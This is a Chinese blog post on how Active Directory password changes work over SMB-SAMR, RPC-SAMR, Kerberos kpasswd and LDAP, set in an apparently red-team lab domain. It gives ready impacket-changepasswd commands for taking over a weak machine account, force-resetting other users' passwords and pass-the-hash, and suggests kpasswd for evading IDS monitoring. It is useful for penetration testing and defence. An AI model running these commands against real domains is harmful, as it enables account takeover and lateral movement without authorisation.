在 Active Directory (AD) 中,修改密码并非只有一种途径。根据你拥有的权限和网络连通性,底层走的是完全不同的流量。
一、 底层协议深度拆解
域控(DC)提供了多种接口供客户端修改密码,每种方式对应的协议栈和端口迥然不同。
1. SMB-SAMR (命名管道模式)
- 端口:445 (TCP)
- 原理:这是最传统的方式。工具首先与 DC 建立 SMB 会话(Session Setup),然后连接
IPC$共享,并打开名为\lsarpc或\samr的命名管道。 - 缺点:极易触发身份验证限制。例如,机器账户(Machine Account) 默认被禁止通过 SMB 交互式登录 DC,从而导致
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT错误。
2. RPC-SAMR (直连模式)
- 端口:135 (EPMapper) + 动态高位端口
- 原理:跳过 SMB 层。工具通过 RPC Endpoint Mapper 定位 SAMR 服务,然后直接通过 TCP 与 SAMR 接口通信。
- 实战意义:它跳过了 SMB 身份验证阶段,直接在 RPC 层进行 NTLM 认证。由于它直接在 RPC 层进行 NTLM 认证,不涉及 SMB 共享挂载,因此机器账户可以顺利利用此协议修改自身密码。
3. Kerberos (kpasswd)
- 端口:464 (UDP/TCP)
- 原理:遵循 [MS-KILE] 扩展协议。它不使用 NTLM 认证,而是使用 Kerberos TGT 请求
kadmin/changepw票据。 - 实战意义:在无法直接接触 NTLM(如仅有 Kerberos 票据)或 445 端口被流量分析系统(IDS)严密监控时使用。
4. LDAP/S (对象属性操作)
- 端口:389 (LDAP) / 636 (LDAPS)
- 原理:将修改密码视为对 LDAP 数据库中
unicodePwd属性的REPLACE操作。 - 限制:为了安全,AD 强制要求修改密码的操作必须在加密通道中进行。因此,如果不使用
-k(Kerberos) 或 LDAPS,纯明文的 LDAP 修改请求通常会被 DC 拒绝。
二、 Impacket-changepasswd 实战指南
1. 工具命令格式
impacket-changepasswd [选项] <目标账户路径>
目标路径格式:域名/用户名:旧密码@目标IP
2. 场景化用法
A. 基础密码更新
使用当前已知密码更新为新密码。
impacket-changepasswd -newpass 'NewPass123!' 'redteam.maze/user01:OldPass123!@10.10.2.2'
B. 绕过机器账户登录限制
当你发现一个机器账户(如 ms01$)使用的是弱密码(用户名即密码)时,必须指定协议。
# 强制使用 rpc-samr 协议
impacket-changepasswd -protocol rpc-samr -newpass 'Admin@123' 'redteam.maze/ms01$:ms01@10.10.2.2'
C. 管理员重置他人密码
如果你已经获取了高权限账户(如 Domain Admin),可以使用 -altuser 指定管理员身份来强制重置目标密码。
impacket-changepasswd -reset -newpass 'ForcedPass123' -altuser 'administrator' -altpass 'AdminPass' 'redteam.maze/target_user@10.10.2.2'
D. 使用 Hash 修改密码 (Pass-the-Hash)
不需要明文旧密码,直接使用 NTLM Hash 进行认证并修改。
impacket-changepasswd -hashes :<NTLM_HASH> -newpass 'NewPass!' 'redteam.maze/user01@10.10.2.2'
3. 核心参数速查表
| 参数 | 说明 | 底层原理 |
|---|---|---|
-protocol |
指定协议 | 可选 smb-samr, rpc-samr, kpasswd, ldap |
-reset |
强制重置 | 调用 SamrSetInformationUser2 接口,无需旧密码 |
-newhashes |
设置为 Hash | 将目标密码直接更改为指定的 NTLM Hash 值 |
-dc-ip |
指定 DC 地址 | 在跨网段或存在域名解析问题时强制指定目标 IP |
-k |
Kerberos 认证 | 使用 Kerberos 票据进行身份验证,而非 NTLM |
原文 https://blog.csdn.net/2301_79518550/article/details/158691023